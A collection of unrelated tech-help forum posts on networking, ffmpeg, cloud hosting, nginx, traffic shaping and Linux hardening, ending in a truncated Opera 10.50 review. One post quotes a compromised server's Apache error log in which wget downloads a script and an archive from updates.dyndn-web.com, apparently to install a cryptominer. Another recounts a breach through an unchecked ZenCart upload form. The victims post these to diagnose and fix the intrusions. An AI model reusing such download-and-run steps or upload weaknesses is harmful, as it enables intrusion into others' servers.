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• Wireless Network Performance Issues

  - by colithium

  My brand new Dell XPS system has been running flawlessly except its abysmal download speeds. I have tried isolating every variable I could possibly think of but I can't figure out the problem. I've talked to Dell and Belkin without making progress (thought I'd try). Here are the speeds: Note that most of the time, upload speeds are actually much faster than download speeds (around 4.0 Mb/s which is better than most other devices on the network) It's not the ISP. The slowdown happens even when transferring files inside the network. Plus every other wireless device gets approximately this: It's not the wireless router. It's a Lynksis WRT160N v1 with the latest firmware (1.02.2). Plus everything else connected to it has normal speeds. It's not the browser. Speeds are the same in IE, FF, and when transferring files with Windows between computers. It's not the wireless adapter. I've tried a Belkin N Wireless USB Adapter (which works fine on another computer) and a Dell Wireless Draft 802.11n WLAN Mini-Card. They have the same slow speeds when connected to the problem computer. It's not the adapter connection. One adapter used USB and the other is a Mini-Card. It's not antenna placement. With the same antenna position and the same device, I get different speeds when connected to the problem computer vs a good computer. Plus everything reports the connection speed as at least 11Mbps and good signal strength. I've tried disabling IPv6 since it sometimes causes weird problems. I've tried disabling Windows Firewall/anti-virus. I've ensured the computer has updated drivers for both adapters. I've ensured that Windows is up to date and so is the BIOS. For the USB adapter I ensured that that USB port functioned at normal speeds with other USB devices. What else could it possibly be? I finally received my copy of Windows 7 and will be trying that. I'd rather not install Windows 7 because of a particular program that will stop working so a solution besides that is welcome. Specs: Vista x64 Core i7 920 6GB RAM 500GB HD GTX 260

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• Transient network dropout for Xen DomU's

  - by Stephen C

  We've got a CentOS server running a cluster of virtuals. Occasionally the cluster's internal network drops out for a minute or so ... and then comes back. The problem is somehow related to the actual network traffic, but it is not a simple load issue. (The system is generally lightly loaded, and the problem occurs irrespective of actual load.) The setup: CentOS 5.6 on Dom0, various CentOS on the DomU's Hardware - a Dell R710 with a BroadCom NextXpress 2 NIC (sigh) using the latest drivers for the NIC from BroadCom Xen configured to use network-bridge and vif-bridge Some iptable tweaks to route an unrelated port to one of the virtuals. The system has one externally visible IP address, and Dom0 runs an Apache httpd configured with a number of virtual hosts each of which reverse proxies to web servers running on the virtuals. (The virtuals have to be NAT'ed, primarily because we don't have enough allocated public IP addresses.) The symptoms: Works fine most of the time. When someone tries to UPLOAD a large file to one virtuals, the internal network drops out ... for all virtuals: The Dom0 httpd sees a network timeout talking to the backend server on the virtual and reports a 502. A previously established ssh connection from Dom0 to any of the DomU's freezes. Our monitoring shows ping failures for traffic between virtuals. The Xen consoles to the DomU's do not freeze. No log messages in any log files that I can see, on either Dom0 or the DomU's ... apart from the Dom0 httpd logs. After a minute or so, the problem clears by itself. This is 100% reproducible. What we've tried: Downloading, building and installing the latest BNX2 driver on Dom0 Turning off MSI on the NIC - adding "options bnx2 disable_msi=1" to /etc/modprobe.conf Turning off tcp segmentation offload - "ethtool -K eth0 tso off". Sacrificing a black rooster at midnight. I've exhausted all my options apart from switching to KVM ... or slaughtering more roosters. Any suggestions?

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• FFMPEG dropping frames while encoding JPEG sequence at color change

  - by Matt

  I'm trying to put together a slide show using imagemagick and FFMPEG. I use imagemagick to expand a single photo into 30fps video (imagemagick also handles things like putting some text captions on the frames along the way). When I go to let ffmpeg digest it into a video it clips along nicely on the color parts of the video, but when it gets to a black and white section it reports "frame= 2030 fps=102 q=32766.0 Lsize= 5203kB time=00:01:07.60 bitrate= 630.5kbits/s dup=0 drop=703" and drops every frame of video until it hits something with color. As you can imagine this results in entire photos being removed from the slideshow. Here is my latest dump... ffmpeg -y -r 30 -i "teststream/%06d.jpg" -c:v libx264 -r 30 newffmpeg.mp4 ffmpeg version git-2012-12-10-c3bb333 Copyright (c) 2000-2012 the FFmpeg developers built on Dec 10 2012 22:02:04 with gcc 4.6.1 (Ubuntu/Linaro 4.6.1-9ubuntu3) configuration: --enable-gpl --enable-libfaac --enable-libmp3lame --enable-libopencore-amrnb --enable-libopencore-amrwb --enable-librtmp --enable-libtheora --enable-libvorbis --enable-libx264 --enable-nonfree --enable-version3 libavutil 52. 12.100 / 52. 12.100 libavcodec 54. 79.101 / 54. 79.101 libavformat 54. 49.100 / 54. 49.100 libavdevice 54. 3.102 / 54. 3.102 libavfilter 3. 26.101 / 3. 26.101 libswscale 2. 1.103 / 2. 1.103 libswresample 0. 17.102 / 0. 17.102 libpostproc 52. 2.100 / 52. 2.100 Input #0, image2, from 'teststream/%06d.jpg': Duration: 00:12:02.80, start: 0.000000, bitrate: N/A Stream #0:0: Video: mjpeg, yuvj444p, 720x480 [SAR 72:72 DAR 3:2], 25 fps, 25 tbr, 25 tbn, 25 tbc [libx264 @ 0x3450140] using SAR=1/1 [libx264 @ 0x3450140] using cpu capabilities: MMX2 SSE2Fast SSSE3 FastShuffle SSE4.2 [libx264 @ 0x3450140] profile High, level 3.0 [libx264 @ 0x3450140] 264 - core 129 r2 1cffe9f - H.264/MPEG-4 AVC codec - Copyleft 2003-2012 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=12 lookahead_threads=2 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00 Output #0, mp4, to 'newffmpeg.mp4': Metadata: encoder : Lavf54.49.100 Stream #0:0: Video: h264 ([33][0][0][0] / 0x0021), yuvj420p, 720x480 [SAR 1:1 DAR 3:2], q=-1--1, 15360 tbn, 30 tbc Stream mapping: Stream #0:0 - #0:0 (mjpeg - libx264) Press [q] to stop, [?] for help Input stream #0:0 frame changed from size:720x480 fmt:yuvj444p to size:720x480 fmt:yuvj422p Input stream #0:0 frame changed from size:720x480 fmt:yuvj422p to size:720x480 fmt:yuvj444pp=584 frame= 2030 fps=102 q=32766.0 Lsize= 5203kB time=00:01:07.60 bitrate= 630.5kbits/s dup=0 drop=703 video:5179kB audio:0kB subtitle:0 global headers:0kB muxing overhead 0.472425% [libx264 @ 0x3450140] frame I:9 Avg QP:20.10 size: 33933 [libx264 @ 0x3450140] frame P:636 Avg QP:24.12 size: 6737 [libx264 @ 0x3450140] frame B:1385 Avg QP:27.04 size: 514 [libx264 @ 0x3450140] consecutive B-frames: 2.5% 15.2% 13.2% 69.2% [libx264 @ 0x3450140] mb I I16..4: 8.3% 80.3% 11.5% [libx264 @ 0x3450140] mb P I16..4: 1.5% 2.5% 0.2% P16..4: 41.7% 18.0% 10.3% 0.0% 0.0% skip:25.9% [libx264 @ 0x3450140] mb B I16..4: 0.0% 0.0% 0.0% B16..8: 26.6% 0.6% 0.1% direct: 0.2% skip:72.3% L0:35.0% L1:60.3% BI: 4.7% [libx264 @ 0x3450140] 8x8 transform intra:64.1% inter:75.1% [libx264 @ 0x3450140] coded y,uvDC,uvAC intra: 51.6% 78.0% 43.7% inter: 10.6% 14.9% 2.1% [libx264 @ 0x3450140] i16 v,h,dc,p: 29% 19% 6% 46% [libx264 @ 0x3450140] i8 v,h,dc,ddl,ddr,vr,hd,vl,hu: 23% 15% 17% 5% 9% 10% 7% 8% 6% [libx264 @ 0x3450140] i4 v,h,dc,ddl,ddr,vr,hd,vl,hu: 31% 18% 11% 5% 9% 10% 6% 6% 4% [libx264 @ 0x3450140] i8c dc,h,v,p: 46% 18% 24% 12% [libx264 @ 0x3450140] Weighted P-Frames: Y:20.1% UV:18.7% [libx264 @ 0x3450140] ref P L0: 59.2% 23.2% 13.1% 4.3% 0.2% [libx264 @ 0x3450140] ref B L0: 88.7% 8.3% 3.0% [libx264 @ 0x3450140] ref B L1: 95.0% 5.0% [libx264 @ 0x3450140] kb/s:626.88 Received signal 2: terminating. One last note: If I remove the -r 30 from the input and output it works flawlessly. I have no idea why the -r 30 is causing it to freak out.

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• Scaling a video processing application on EC2?

  - by Stpn

  I am approaching the need to scale a video-processign application that runs on EC2. So far the setup is one machine: Backbonejs frontend Rails 3.2 Postgresql Resque + S3 for storage The flow of the app is as follows: 1) Request from frontend. Upload a video. 2) Storing video 3) Quering external APIs. 4) Processing / encoding videos. 5) Post to frontend. I can separate the backend and frontend without any problems, but when it comes to distributing the backend between several servers I am a bit puzzled. I can probably come up with a temporary solution (like just duplicating apps making several instances), but since I don't really have expertise in backend system administration, there can be some fundamental mistakes.. Also I would rather have something that is scalable. I wonder if anyone can give some feedback on the following plan: A) Frontend machine. Just frontend, talks to backend via REST Api of sorts. B) Backend server (BS), main database. Gets request from 1), posts to 2) saves uploads to 3) C) S3 storage. D) Server for quering APIs. Basically just a Resque workers, that post info back to 2) E) Server for video encoding. Processes videos uploaded on 3) and uploads them back. So I will have: A)frontend \ \ B)MAIN_APP/DB ----- C)S3 Storage (Files) / \ / / \ / D)ExternalAPI_queries E)Video_Processing (redundant DB) (redundant DB) All this will supposedly talk to each other via HTTP requests. My reason for this is that Video Processing part is really the most resource-intensive and I would just run barebones application that accepts requests and starts processing them. Questions: 1) In this setup I will have the main database at B) and all other servers will communicate with it via HTTP requests (and store duplicates of databases also I guess..for safety reasons). Is it the right approach or should I have 1 database that everyone connects to (how then?) 2) Is it a good idea to separate API queries from Video Processing part? Logically they are very close (processing is determined by the result of API queries), but resource-wise Video Processing is waaay more intensive. 3) what should I use to distribute calls between backend apps based on load?

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• Moving from VPS to Cloud

  - by GRIGORE-TURBODISEL

  ...and I have a few questions. I'm basically working on a MySQL+PHP based webapp. Since I don't have on-demand scaling with VPS, I'm planning to move from VPS to Cloud when I hit the 1000 subscribers barrier. I'm looking at Windows Azure but I'm ok with other suggestions. So here are my questions: Will it really cost me a kidney? Every subscriber needs to download around 4-5MB of static resources each day. Bandwidth is free on the VPS but here I see costs can easily get to $800.00/mo; this makes me very insecure about the whole thing, I mean VPS is just $2,000/yr. Do I need another VM or is PHP included in the Web Sites? I have basic sysadmin skills, I think I can handle setting up a PHP install, but will I have to do this? If yes, what other service do I need to setup manually? What about Memcached, MySQL, etc? What security protections does it include? For example I have some basic protection included, like directory traversals and executable files upload; I also have CloudFlare on my other websites for DDoS protection; will I need to do the same thing here too, can it even be installed, can I edit my DNS records, etc? How are e-mails, subdomains, add-on domains, parked domains, etc. handled? I haven't seen any references to e-mail boxes. On the VPS I simply add them from cPanel ([email protected] / whatever.mysite.com / ...); do I have a similar management interface here? Do I get SSH access? Or at least FTP, remote MySQL access and maybe some incremental back-ups or something? Can I see my quotas and advanced traffic info? I must mention that I really like the idea of the whole "cloud" concept, the added reliability and everything but I really need maybe a parallel to regular hosting or something so I know what to expect.

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• Nginx + Wordpress Multisite 3.4.2 + subdirectories + static pages and permalinks

  - by UrkoM

  I am trying to setup Wordpress Multisite, using subdirectories, with Nginx, php5-fpm, APC, and Batcache. As many other people, I am getting stuck in the rewrite rules for permalinks. I have followed these two guides, which seem to be as official as you can get: http://evansolomon.me/notes/faster-wordpress-multisite-nginx-batcache/ http://codex.wordpress.org/Nginx#WordPress_Multisite_Subdirectory_rules It is partially working: http://blog.ssis.edu.vn works. http://blog.ssis.edu.vn/umasse/ works. But other permalinks, like these two to a post or to a static page, don't work: http://blog.ssis.edu.vn/umasse/2008/12/12/hello-world-2/ http://blog.ssis.edu.vn/umasse/sample-page/ They either take you to a 404 error, or to some other blog! Here is my configuration: server { listen 80 default_server; server_name blog.ssis.edu.vn; root /var/www; access_log /var/log/nginx/blog-access.log; error_log /var/log/nginx/blog-error.log; location / { index index.php; try_files $uri $uri/ /index.php?$args; } # Add trailing slash to */wp-admin requests. rewrite /wp-admin$ $scheme://$host$uri/ permanent; # Add trailing slash to */username requests rewrite ^/[_0-9a-zA-Z-]+$ $scheme://$host$uri/ permanent; # Directives to send expires headers and turn off 404 error logging. location ~* \.(js|css|png|jpg|jpeg|gif|ico)$ { expires 24h; log_not_found off; } # this prevents hidden files (beginning with a period) from being served location ~ /\. { access_log off; log_not_found off; deny all; } # Pass uploaded files to wp-includes/ms-files.php. rewrite /files/$ /index.php last; if ($uri !~ wp-content/plugins) { rewrite /files/(.+)$ /wp-includes/ms-files.php?file=$1 last; } # Rewrite multisite '.../wp-.*' and '.../*.php'. if (!-e $request_filename) { rewrite ^/[_0-9a-zA-Z-]+(/wp-.*) $1 last; rewrite ^/[_0-9a-zA-Z-]+.*(/wp-admin/.*\.php)$ $1 last; rewrite ^/[_0-9a-zA-Z-]+(/.*\.php)$ $1 last; } location ~ \.php$ { # Forbid PHP on upload dirs if ($uri ~ "uploads") { return 403; } client_max_body_size 25M; try_files $uri =404; fastcgi_pass unix:/var/run/php5-fpm.sock; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; include /etc/nginx/fastcgi_params; } } Any ideas are welcome! Have I done something wrong? I have disabled Batcache to see if it makes any difference, but still no go.

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• Suspected network performance issue on VirtualBox Ubuntu guest on Win7 host

  - by Adam

  I set up Ubuntu 12.04 in VirtualBox on the Win7 machine I was allocated on my new project. I am running Java, Eclipse, Tomcat to develop a large data-intensive application and I noticed that this application runs at half the speed of my colleague's identical machine, where he runs it all under Windows. I think I have narrowed down the performance issue to the network, after comparing and equalising all the Java VM settings with my colleague. Is there a ping test I can do or some other network diagnostic test to flag up any problems? To give some background, the network performance is confusing. Running a network speed test to my colleague's machine with iperf shows speeds of 6 Mb/s from my Ubuntu guest, and 90 Mb/s from the win7 host. Large downloads, e.g. the Java SDK, come down at about 1.2 MB/s on both the guest and the host. Pings are sub-1ms on the host, but 1.5ms on the guest. I also did a broadband speed test, and got 10Mb/s download speed on both, but the host has an upload speed of 10Mb/s but the guest only uploads at 3Mb/s. I've been trying to diagnose any MTU problems with ping -M do to identify any kind of packet fragmentation problem but it's progressing very slow because I don't have much experience in this area. From what I read on other people's networking issues with VB and Linux guests on Win7 hosts, I should be able to get the speed on the guest up to the same level as the host. I installed a fresh VM with Ubuntu again to see if I'd foobar'd it somehow, but I'm getting the same readings with iperf on the virgin installation. My setup is: Adapter 1: Intel PRO/1000 MT Desktop (NAT) Adapter 2: ditto (host-only adapter) eth0 Link encap:Ethernet HWaddr 08:00:27:0b:76:bf inet addr:10.0.2.15 Bcast:10.0.2.255 Mask:255.255.255.0 inet6 addr: fe80::a00:27ff:fe0b:76bf/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:86236 errors:0 dropped:0 overruns:0 frame:0 TX packets:49369 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:69163946 (69.1 MB) TX bytes:3530535 (3.5 MB) eth2 Link encap:Ethernet HWaddr 08:00:27:a3:26:b8 inet addr:192.168.56.101 Bcast:192.168.56.255 Mask:255.255.255.0 inet6 addr: fe80::a00:27ff:fea3:26b8/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:59 errors:0 dropped:0 overruns:0 frame:0 TX packets:57 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:9148 (9.1 KB) TX bytes:7648 (7.6 KB) lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:701 errors:0 dropped:0 overruns:0 frame:0 TX packets:701 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:66321 (66.3 KB) TX bytes:66321 (66.3 KB)

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• amazon ec2 ubuntu with gitlab and nginx - cant load?

  - by thebluefox

  Ok, so I've spooled up an Amazon EC2 server running Ubuntu, and then followed the instructions below to install GitLab; http://doc.gitlab.com/ce/install/installation.html The only step I've not been able to complete is running the following check on the status; sudo -u git -H bundle exec rake gitlab:check RAILS_ENV=production I get the following error; rake aborted! Errno::ENOMEM: Cannot allocate memory - whoami Which I presume is becuase my EC2 is just running a free tier setup, so isn't that well spec'd. Regardless, I've been trying to access this through my browser. I've set up the elastic IP and pointed my domain at it (for the purpose of this, lets say its git.mydom.co.uk). Doing a whois on this domain shows me its pointing to the right place. For some reason though, I get the "Oops, Chrome could not connect to git.mydom.co.uk". Now - for a period of time I was getting the Nginx holding page (telling me I still needed to perform configuration). This though disappeared after removing the default file from /etc/nginx/sites-enabled/ (after reading this could be issue on a troubleshooting page). Since then, I've had nothing, even when I symlinked the file back in from /sites-available. I've tried changing the owner of the git.mydom.co.uk file sat inside /sites-enabled and /sites-available to www-data, as suggested here, but I could only change the permission of the file in /sites-available, and not the symlinked one in /sites-enabled. The content of this file is as follows; upstream gitlab { server unix:/home/git/gitlab/tmp/sockets/gitlab.socket; } server { listen *:80 default_server; # e.g., listen 192.168.1.1:80; In most cases *:80 is a good idea server_name git.mydom.co.uk; # e.g., server_name source.example.com; server_tokens off; # don't show the version number, a security best practice root /home/git/gitlab/public; # Increase this if you want to upload large attachments # Or if you want to accept large git objects over http client_max_body_size 20m; # individual nginx logs for this gitlab vhost access_log /var/log/nginx/gitlab_access.log; error_log /var/log/nginx/gitlab_error.log; location / { # serve static files from defined root folder;. # @gitlab is a named location for the upstream fallback, see below try_files $uri $uri/index.html $uri.html @gitlab; } All the paths mentioned in here look ok...I'm about at the end of my knowledge now!

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• Excel data range - to sum series within date range

  - by Mark

  I have a set of data that I would like to manipulate but my problem is not straight forward. In this data I have date ranges that include multiple entries of the same date on some days and not on others. What I need to accomplish is to manage a trading account so that no more than 1% of the account is put at risk on any given day (retrospectively). To do this, when a series of trades falls on the same day, I need to total the risk associated with each of those trades so that I can limit the total risk of the combined trades by limiting the position size I take in each. Here is a sample set of the data I am working with. As you can see, there are 5 trades on Jan 3. Each of these trades comes with a risk value. I need to add the risk values of these 5 trades so that I can compare it to an account value and then determine if I should take more than 1 position in each trade. As you can see there are different numbers of trades that occur on the 4th, 5th 6th and 9th. I need the values returned in each row so that I can further manipulate them in the spreadsheet. I am not new to Excel, but cannot come up with a solution here - your input is much appreciated. Forgive the presentation below - I cannot upload a pic (new user) and the format does not carry across from excel. I have aligned the first several lines manually. Thx. Date ............. Pair ....... L/S ...... Initial Risk .......Win ......Loss ....BE. ....Avg Gain Avg Loss pips/swing 1/3/2012 ....EUR/USD ....S .............15 ................1 ..................................10 ..........................15. .. 1/3/2012 ....USD/CHF .....L ............15 ..........................................1 ..........0 1/3/2012 ....AUD/USD ....S .............15 ................1 .................................16 ...........................18 1/3/2012 ....NZD/USD ....S .............15 ................1 ...................................7 .............................8 1/3/2012 ....AUD/JPY .... S .............10 ................1 .................................25 ............................20 1/4/2012 ....EUR/USD ....L .............20 ................1 .................................19 ...........................19 1/4/2012 ....USD/CHF ....S ............ 15 ................1 .................................17 ...........................20 1/4/2012 EUR/JPY L 20 1 0 1/5/2012 EUR/USD L 15 1 10 20 1/5/2012 GBP/USD L 20 1 15 20 1/5/2012 USD/CHF S 15 1 0 1/5/2012 USD/JPY S 10 1 7 10 1/5/2012 USD/CAD S 15 1 28 36 1/5/2012 AUD/USD L 15 1 20 20 1/6/2012 USD/CAD S 15 1 5 -10 1/6/2012 EUR/JPY L 15 1 7 7 1/9/2012 AUD/USD S 15 1 22 30 1/9/2012 NZD/USD S 15 1 10 15

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• tc rules block traffic from some hosts at network

  - by user139430

  I have a problem I can not solve. The script, which sets the rules for traffic shaping is blocking the traffic from some hosts.If I remove all the rules, then it works. I can not understand why? Here is my script... #!/bin/sh cmdTC=/sbin/tc rateLANDl="60mbit" ceilLANDl="60mbit" rateLANUl="40mbit" ceilLANUl="40mbit" quantLAN="1514" # Nowaday bandwidth limit set to 100mbit. # We devide it with 60mbit download and 40mbit upload bandthes. rateHiDl="30mbit" ceilHiDl="60mbit" rateHiUl="20mbit" ceilHiUl="40mbit" quantHi="1514" rateLoDl="30mbit" ceilLoDl="60mbit" rateLoUl="20mbit" ceilLoUl="40mbit" quantLo="1514" devNIF=eth0 devFIF=ifb0 modprobe ifb ip link set $devFIF up 2>/dev/null #exit 0 ################################################################################################ # Remove discuiplines from network and fake interfaces ################################################################################################ $cmdTC qdisc del dev $devNIF root 2>/dev/null $cmdTC qdisc del dev $devFIF root 2>/dev/null $cmdTC qdisc del dev $devNIF ingress 2>/dev/null if [ "$1" = "down" ]; then exit 0 fi ################################################################################################ # Create discuiplines for network interface ################################################################################################ $cmdTC qdisc add dev $devNIF root handle 1:0 htb default 12 # Create classes for network interface $cmdTC class add dev $devNIF parent 1:0 classid 1:1 htb rate ${rateLANDl} ceil ${ceilLANDl} quantum ${quantLAN} $cmdTC class add dev $devNIF parent 1:1 classid 1:11 htb rate ${rateHiDl} ceil ${ceilHiDl} quantum ${quantHi} $cmdTC class add dev $devNIF parent 1:1 classid 1:12 htb rate ${rateLoDl} ceil ${ceilLoDl} quantum ${quantLo} $cmdTC qdisc add dev $devNIF parent 1:11 handle 111: sfq perturb 10 $cmdTC qdisc add dev $devNIF parent 1:12 handle 112: sfq perturb 10 # Create filters for network interface $cmdTC filter add dev $devNIF protocol all parent 1:0 u32 match ip dst 10.252.2.0/24 flowid 1:11 $cmdTC filter add dev $devNIF protocol all parent 111: handle 111 flow hash keys dst divisor 1024 baseclass 1:11 $cmdTC filter add dev $devNIF protocol all parent 112: handle 112 flow hash keys dst divisor 1024 baseclass 1:12 ################################################################################################ # Create discuiplines for fake interface ################################################################################################ $cmdTC qdisc add dev $devFIF root handle 1:0 htb default 12 # Create classes for network interface $cmdTC class add dev $devFIF parent 1:0 classid 1:1 htb rate ${rateLANUl} ceil ${ceilLANUl} quantum ${quantLAN} $cmdTC class add dev $devFIF parent 1:1 classid 1:11 htb rate ${rateHiUl} ceil ${ceilHiUl} quantum ${quantHi} $cmdTC class add dev $devFIF parent 1:1 classid 1:12 htb rate ${rateLoUl} ceil ${ceilLoUl} quantum ${quantLo} $cmdTC qdisc add dev $devFIF parent 1:11 handle 111: sfq perturb 10 $cmdTC qdisc add dev $devFIF parent 1:12 handle 112: sfq perturb 10 # Create filters for network interface $cmdTC filter add dev $devFIF protocol all parent 1:0 u32 match ip src 10.252.2.0/24 flowid 1:11 $cmdTC filter add dev $devFIF protocol all parent 111: handle 111 flow hash keys src divisor 1024 baseclass 1:11 $cmdTC filter add dev $devFIF protocol all parent 112: handle 112 flow hash keys src divisor 1024 baseclass 1:12 ################################################################################################ # Create redirect discuiplines from network to fake interface ################################################################################################ $cmdTC qdisc add dev $devNIF handle ffff:0 ingress $cmdTC filter add dev $devNIF parent ffff:0 protocol all u32 match u32 0 0 action mirred egress redirect dev $devFIF Here is my /etc/modules: loop ifb ppp_mppe nf_conntrack_pptp nt_conntrack_proto_gre nf_nat_pptp nf_nat_proto_gre The system is Linux wall 2.6.32-5-amd64 #1 SMP Sun Sep 23 10:07:46 UTC 2012 x86_64 GNU/Linux

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• My server's been hacked EMERGENCY

  - by Grant unwin

  I'm on my way into work at 9.30 p.m. on a Sunday because our server has been compromised somehow and was resulting in a DOS attack on our provider. The servers access to the Internet has been shut down which means over 5-600 of our clients sites are now down. Now this could be an FTP hack, or some weakness in code somewhere. I'm not sure till I get there. How can I track this down quickly? We're in for a whole lot of litigation if I don't get the server back up ASAP. Any help is appreciated. UPDATE Thanks to everyone for your help. Luckily I WASN'T the only person responsible for this server, just the nearest. We managed to resolve this problem, although it may not apply to many others in a different situation. I'll detail what we did. We unplugged the server from the net. It was performing (attempting to perform) a Denial Of Service attack on another server in Indonesia, and the guilty party was also based there. We firstly tried to identify where on the server this was coming from, considering we have over 500 sites on the server, we expected to be moonlighting for some time. However, with SSH access still, we ran a command to find all files edited or created in the time the attacks started. Luckily, the offending file was created over the winter holidays which meant that not many other files were created on the server at that time. We were then able to identify the offending file which was inside the uploaded images folder within a ZenCart website. After a short cigarette break we concluded that, due to the files location, it must have been uploaded via a file upload facility that was inadequetly secured. After some googling, we found that there was a security vulnerability that allowed files to be uploaded, within the ZenCart admin panel, for a picture for a record company. (The section that it never really even used), posting this form just uploaded any file, it did not check the extension of the file, and didn't even check to see if the user was logged in. This meant that any files could be uploaded, including a PHP file for the attack. We secured the vulnerability with ZenCart on the infected site, and removed the offending files. The job was done, and I was home for 2 a.m. The Moral - Always apply security patches for ZenCart, or any other CMS system for that matter. As when security updates are released, the whole world is made aware of the vulnerability. - Always do backups, and backup your backups. - Employ or arrange for someone that will be there in times like these. To prevent anyone from relying on a panicy post on Server Fault. Happy servering!

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• Apache error log interpretation

  - by HTF

  It looks like someone gained access to my server. How I can find out which Apache vHosts this log is related to? How these commands from the log are invoked and how/why they are printed to the log file - is this some remote shell or PHP script? /var/log/httpd/error_log mkdir: cannot create directory `/tmp/.kdso': File exists --2014-06-13 13:29:17-- http://updates.dyndn-web.com/abc.txt Resolving updates.dyndn-web.com... 94.23.49.91 Connecting to updates.dyndn-web.com|94.23.49.91|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 5055 (4.9K) [text/plain] Saving to: `abc.txt' 0K .... 100% 303K=0.02s 2014-06-13 13:29:17 (303 KB/s) - `abc.txt' saved [5055/5055] % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed ^M 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0^M101 5055 101 5055 0 0 79686 0 --:--:-- --:--:-- --:--:-- 154k minerd64: no process killed minerd32: no process killed named: no process killed kernelupdates: no process killed kernelcfg: no process killed kernelorg: no process killed ls: cannot access /tmp/.ICE-unix: No such file or directory mkdir: cannot create directory `/tmp': File exists --2014-06-13 13:29:18-- http://updates.dyndn-web.com/64.tar.gz Resolving updates.dyndn-web.com... 94.23.49.91 Connecting to updates.dyndn-web.com|94.23.49.91|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 205812 (201K) [application/x-tar] Saving to: `64.tar.gz' 0K .......... .......... .......... .......... .......... 24% 990K 0s 50K .......... .......... .......... .......... .......... 49% 2.74M 0s 100K .......... .......... .......... .......... .......... 74% 2.96M 0s 150K .......... .......... .......... .......... .......... 99% 3.49M 0s 200K 100% 17.4M=0.1s 2014-06-13 13:29:18 (1.99 MB/s) - `64.tar.gz' saved [205812/205812] sh: ./kernelupgrade: Permission denied

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• What else can I do to secure my Linux server?

  - by eric01

  I want to put a web application on my Linux server: I will first explain to you what the web app will do and then I will tell you what I did so far to secure my brand new Linux system. The app will be a classified ads website (like gumtree.co.uk) where users can sell their items, upload images, send to and receive emails from the admin. It will use SSL for some pages. I will need SSH. So far, what I did to secure my stock Ubuntu (latest version) is the following: NOTE: I probably did some things that will prevent the application from doing all its tasks, so please let me know of that. My machine's sole purpose will be hosting the website. (I put numbers as bullet points so you can refer to them more easily) 1) Firewall I installed Uncomplicated Firewall. Deny IN & OUT by default Rules: Allow IN & OUT: HTTP, IMAP, POP3, SMTP, SSH, UDP port 53 (DNS), UDP port 123 (SNTP), SSL, port 443 (the ones I didn't allow were FTP, NFS, Samba, VNC, CUPS) When I install MySQL & Apache, I will open up Port 3306 IN & OUT. 2) Secure the partition in /etc/fstab, I added the following line at the end: tmpfs /dev/shm tmpfs defaults,rw 0 0 Then in console: mount -o remount /dev/shm 3) Secure the kernel In the file /etc/sysctl.conf, there are a few different filters to uncomment. I didn't know which one was relevant to web app hosting. Which one should I activate? They are the following: A) Turn on Source Address Verification in all interfaces to prevent spoofing attacks B) Uncomment the next line to enable packet forwarding for IPv4 C) Uncomment the next line to enable packet forwarding for IPv6 D) Do no accept ICMP redirects (we are not a router) E) Accept ICMP redirects only for gateways listed in our default gateway list F) Do not send ICMP redirects G) Do not accept IP source route packets (we are not a router) H) Log Martian Packets 4) Configure the passwd file Replace "sh" by "false" for all accounts except user account and root. I also did it for the account called sshd. I am not sure whether it will prevent SSH connection (which I want to use) or if it's something else. 5) Configure the shadow file In the console: passwd -l to lock all accounts except user account. 6) Install rkhunter and chkrootkit 7) Install Bum Disabled those services: "High performance mail server", "unreadable (kerneloops)","unreadable (speech-dispatcher)","Restores DNS" (should this one stay on?) 8) Install Apparmor_profiles 9) Install clamav & freshclam (antivirus and update) What did I do wrong and what should I do more to secure this Linux machine? Thanks a lot in advance

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• Our Look at Opera 10.50 Web Browser

  - by Asian Angel

  Everyone has been talking about the newest version of Opera recently but perhaps you have not looked at it too closely yet. Today we will take a look at 10.50 and let you see what this “new browser” is all about. The New Engines Carakan JavaScript Engine: Runs web applications up to 7 times faster than its predecessor Futhark Vega Graphics Library: Enables super fast and smooth graphics on everything from tab switching to webpage animation Presto 2.5: Provides support for HTML5, CSS2.1 and the latest CSS3 standards A Look at the Features Available If you have installed or used older versions of Opera before then the default look after a clean install will probably seem rather different. The main differences in appearance are mainly located within the “glass border” areas of the browser. The “Speed Dial” setup looks and works just as well as in previous versions. You can set a favorite wallpaper or image as your background and choose the number of “dials” using the “Configure Speed Dial Command”. One of the “standout” differences is the “O Button”. All of the menus have been condensed into this single access point but it only takes a few moments to find what you are looking for. If you have used the style before in earlier versions of Opera some of the items have been moved around. For those who prefer the “Menu Bar” that can be easily restored using the “Show Menu Bar Command”. If desired you can actually “extend” the “Tab Bar” downwards to display thumbnails of your open tabs. Just use your mouse to grab the bottom of the “Tab Bar” and adjust it to suit your personal needs. The only problem with this feature is that it will quickly use up a good sized portion of your available UI and browser window space. The “Password Manager” is ready to access when needed…the background for the button will turn a shiny metallic blue when you open a webpage that you have “Login Information” saved for. One of the new features is a small “Recycle Bin Button” in the upper right corner. Clicking on this will display a list of recently closed tabs letting you have easy access to any tabs that you may have accidentally closed. This is definitely a great feature to have as an easy access button. For those who were used to how the “Zoom Feature” looked before it has a new “look” to it. Instead of the pop-up menu-type listing of “view sizes” present before you now have a slider button that you can use to 